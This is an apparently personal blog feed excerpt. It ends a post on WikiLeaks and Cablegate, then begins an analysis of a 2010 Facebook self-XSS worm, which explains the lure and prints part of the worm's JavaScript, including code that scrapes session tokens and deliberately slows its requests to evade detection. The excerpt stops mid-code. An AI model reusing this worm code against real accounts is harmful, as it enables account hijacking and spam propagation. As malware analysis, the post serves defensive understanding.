<a href="https://www.businessweek.com/technology/content/jan2006/tc20060112_434051.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">firewalls</a>. But is it possible for a nation to identify (1) who is breaking the law? (2) Cut the communication? (3) Punish the lawbreaker sitting across its border?
While (1) might be possible to some extent, in an increasingly connected world (2) is near impossible and (3) depends on (   
    
    
<a href="https://www.schneier.com/essay-334.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">much-needed</a>) international ties.</li>
<li>Amazon, Visa, Mastercard, Paypal, and Bank of America took action against Wikileaks.
Interestingly, none of these organizations took any action against WikiLeaks till recently (even after the   
    
    
<a href="https://readwrite.com/2010/07/25/wikileaks_releases_91000_afghanistan_war_documents/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Afghan</a> war documents leak). As seen in the   
    
    
<a href="https://www.eff.org/deeplinks/2010/09/censorship-internet-takes-center-stage-online?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">COICA</a> bill, <strong>the fate of everything on the Internet is still influenced by US Government</strong> or maybe by   
    
    
<a href="https://www.opensecrets.org/lobby/index.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">lobbyists</a> who were   
    
    
<a href="https://en.wikipedia.org/wiki/Contents_of_the_United_States_diplomatic_cables_leak#By_company?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">captured</a> in cables.</li>
<li>One of the cables   
    
    
<a href="https://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;sqi=2&amp;ved=0CBMQFjAA&amp;url=http%3A%2F%2Fwww.nytimes.com%2F2010%2F12%2F05%2Fworld%2Fasia%2F05wikileaks-china.html&amp;ei=iNsaTbfFEYnQsAO5vvDDAg&amp;usg=AFQjCNGaVpLqVEgHYjwXxjGpmlD7iu9DcQ&amp;sig2=MrmdFwLkVJ5qGVt5dzPDVA&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">stated</a> that &ldquo;USA learned Internet is fundamentally controllable,&rdquo; the continuous re-appearance of Wikileaks has proved that&rsquo;s not the case.</li>
<li>BofA&rsquo;s reaction clearly shows how important it is to protect a brand online.</li>
<li>The creation of WTF does imply that the US government is reconsidering its policy of intelligence information sharing (which was relaxed after the 9/11 attacks) which will have further implications regarding security.</li>
<li>The leak of Assange&rsquo;s info and the victim&rsquo;s   
    
    
<a href="https://radsoft.net/news/20101001,01.shtml?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">deleted</a> blogs and Twitter posts reminds us of the   
    
    
<a href="https://www.huffingtonpost.com/2009/12/07/google-ceo-on-privacy-if_n_383105.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">statement</a> &ldquo;If you have something that you don&rsquo;t want anyone to know, maybe you shouldn&rsquo;t be doing it in the first place.&rdquo;.
&quot;   
    
    
<a href="https://en.wikipedia.org/wiki/Gone_to_Texas?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Gone to Texas</a>&quot; is a thing of the past, our privacy (or lack thereof) is the new norm of the 
<a href="/tech/the-decline-of-microsoft-and-intel-in-internet-centric-era/">Internet-centric</a> world.</li>
<li>While the rape accusations based on controversial Sweden law (interpreted as &ldquo;a woman can withdraw consent anytime during the sexual intercourse, and any further advances from man qualify him as a rapist&rdquo;) has resulted in shameless debates, it has raised a question of how not to violate   
    
    
<a href="https://emsnews.wordpress.com/2010/12/07/sex-by-surprise-swedish-law-that-makes-every-man-a-rapist/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">not-so-intuitive</a> laws while traveling internationally.</li>
<li>Probably, the aptest reaction to Cablegate is from   
    
    
<a href="https://xkcd.com/834/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">XKCD</a>. I would interpret it as a group shouting &ldquo;let all but our personal information be made public&rdquo;.</li>
</ol>
<p><em>Disclaimer:</em></p>
<ol>
<li><em>This is my blog. The views expressed on these pages are mine alone and not those of my employer.</em></li>
<li><em>In this blog post, my intention was neither to justify nor to criticize what WikiLeaks did.</em></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/wikileaks" term="wikileaks" label="wikileaks"/></entry><entry><title type="html">Analysis of Facebook Rotating Images worm</title><link href="https://ashishb.net/security/facebook-rotating-images-worm/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/facebook-click-jacking-chica-sexy/?utm_source=atom_feed" rel="related" type="text/html" title='Preliminary analysis of Facebook Click jacking Attack "Chica Sexy"'/><link href="https://ashishb.net/security/a-preliminary-analysis-of-bom-sabado-orkut-worm/?utm_source=atom_feed" rel="related" type="text/html" title="A preliminary analysis of “Bom Sabado” orkut worm"/><link href="https://ashishb.net/security/facebook-clickjacking-aprilfoolsprank/?utm_source=atom_feed" rel="related" type="text/html" title="Preliminary analysis of Facebook clickjacking - aprilfoolsprank"/><link href="https://ashishb.net/security/evm-controversy-in-india/?utm_source=atom_feed" rel="related" type="text/html" title="EVM controversy in India"/><link href="https://ashishb.net/security/cyber-security-in-india-role-of-cert-in/?utm_source=atom_feed" rel="related" type="text/html" title="Cyber Security in India : Role of CERT-In"/><id>https://ashishb.net/security/facebook-rotating-images-worm/</id><author><name>Ashish Bhatia</name></author><published>2010-12-05T19:24:20+00:00</published><updated>2010-12-05T19:24:20+00:00</updated><content type="html"><![CDATA[<blockquote>Beware of the Facebook revolving images scam! Learn how to protect your account and recover if you&rsquo;ve been duped by this clever social engineering attack.</blockquote><p><strong>If you are looking for how to avoid or recover: read</strong>   
    
    
<a href="https://www.comptalks.com/facebook-revolving-images-scam/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">this</a> <strong>one instead.</strong></p>
<p>In the past few weeks, a lot of Facebook users have received the following (or similar) messages posted by their friends
<em>Hi Friends see Face-book images rotate 360* see here &raquo; https://SHADYCLOUDS.TK/</em> <em>Really cool Facebook revolving images. MUST SEE   
    
    
<a href="https://rotatingimage2.tk/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://rotatingimage2.tk/</a>.</em></p>
<p>Following are observations and analysis of the same.</p>
<p>A few key observations</p>
<ol>
<li>This attack does not utilize any   
    
    
<a href="https://en.wikipedia.org/wiki/Cross-site_scripting?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">XSS</a>,   
    
    
<a href="https://en.wikipedia.org/wiki/Cross-site_request_forgery?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">XSRF</a> or XSS Inclusion vulnerability in Facebook. So, no one can be infected by just opening the Facebook unlike in the case of the recent vulnerability in   
    
    
<a href="https://www.zdnet.com/blog/security/twitter-hit-by-multiple-variants-of-xss-worm/3125?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Twitter</a>.</li>
<li>They are all based on what can be called &ldquo;social XSS&rdquo; - email equivalent of that would be   
    
    
<a href="https://consumerist.com/2010/05/06/just-for-the-record-your-friend-wasnt-mugged-in-london/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mugged in London scam</a>. Message from friend tempts the user to run a script in address-bar of the tab in which Facebook is open, any script executed from address bar runs as if it is a script hosted on facebook.com website and can do everything which the logged-in user can do (unless facebook detects and catches malicious automated action). Since the script is treated to be from   
    
    
<a href="https://en.wikipedia.org/wiki/Same_origin_policy?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">same-origin</a>, the XSRF prevention is defeated.</li>
<li>Interestingly, the first script I encountered was from graphicgiants.com and it redirects to facebook.com in case the referrer is not Facebook. It can be downloaded using curl by faking the referrer (curl -e facebook.com graphicgaints.com)</li>
<li>The irony is that even after the complete analysis, I am not able to find the code to generate any rotating images. I doubt if it was that tough to write.</li>
</ol>
<p>Below is the analysis of the worm.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Javascript
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">  1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">  2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">  3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">  4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">  5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">  6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">  7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">  8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">  9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 52
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 55
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 57
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 58
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 59
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 60
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 61
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 62
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 63
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 64
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 65
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 66
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 67
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 68
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 69
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 70
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 71
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 72
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 73
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 74
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 75
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 76
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 77
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 78
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 79
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 80
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 81
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 82
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 83
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 84
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 85
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 86
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 87
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 88
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 89
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 90
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 91
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 92
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 93
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 94
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 95
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 96
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 97
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 98
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 99
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">100
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">101
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">102
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">103
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">104
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">105
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">106
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">107
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">108
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">109
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">110
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">111
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">112
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">113
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">114
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">115
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">116
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">117
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">118
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">119
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">120
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">121
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">122
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">123
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">124
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">125
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">126
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#586e75">//These are to be posted as status messages
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>txt <span style="color:#719e07">=</span> <span style="color:#2aa198">&#34;Really cool Facebook revolving images. MUST SEE https://ROTATINGIMAGES1.tk&#34;</span>;
</span></span><span style="display:flex;"><span>txtee <span style="color:#719e07">=</span> <span style="color:#2aa198">&#34;Really cool Facebook revolving images. MUST SEE https://REVOLVINGIMAGES1.tk&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alert(<span style="color:#2aa198">&#34;Please wait 2-3 mins while we setup! Do not refresh this window or click any link.&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#586e75">//this takes care of the fact that facebook will recognize the automated script if a lot of
</span></span></span><span style="display:flex;"><span><span style="color:#586e75">//requests are sent within a short frame of time and hence, the requests are deliberately slowed
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// the code below makes an XMLHttp request (AJAX request) to extract
</span></span></span><span style="display:flex;"><span><span style="color:#586e75">// 1. composer_id
</span></span></span><span style="display:flex;"><span><span style="color:#586e75">// 2. post_form_id
</span></span></span><span style="display:flex;"><span><span style="color:#586e75">// 3. fb_dtsg
</span></span></span><span style="display:flex;"><span><span style="color:#586e75">// (There is a reference to an app which has been removed from facebook)
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span><span style="color:#268bd2">with</span>(x <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> XMLHttpRequest()) open(<span style="color:#2aa198">&#34;GET&#34;</span>, <span style="color:#2aa198">&#34;/&#34;</span>), onreadystatechange <span style="color:#719e07">=</span> <span style="color:#268bd2">function</span> () {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">if</span> (x.readyState <span style="color:#719e07">==</span> <span style="color:#2aa198">4</span> <span style="color:#719e07">&amp;&amp;</span> x.status <span style="color:#719e07">==</span> <span style="color:#2aa198">200</span>) {
